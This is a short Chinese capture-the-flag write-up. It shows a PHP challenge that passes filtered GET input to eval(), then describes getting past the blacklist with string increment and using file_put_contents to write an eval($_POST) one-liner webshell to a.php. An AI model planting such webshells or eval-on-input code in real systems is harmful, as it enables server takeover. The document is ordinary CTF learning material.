刚刚学习了这些知识,做起来很轻松
源码
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\^','\~','\|'];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
}}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>
题目说了不让用异或取反,那就只能自增了
脚本:字符串自增构造.php
然后我们发现system函数我们不能用,而且还开启了”open_basedir“,这很不友好,因为我们没办法去访问根目录下的flag
但是好在 file_put_contents()
函数没有过滤,那么就用这个函数来生成一个一句话木马
payload = _=@file_put_contents("a.php", "<?php @eval(\$_POST[a]);@phpinfo(); ?>");
,但是这里有个坑
就是"$"符号前面要加上"\",不然运行不成功,之所以这样子是因为如果不加反斜杠,file_put_contents会将$_POST[a]解析成一个变量,那么实际写入进去的文件按就成了这个样子
是的,eval()里面的东西飞了(悲),
而加上反斜杠后就正常了
下面就是读取根目录下面的flag就行了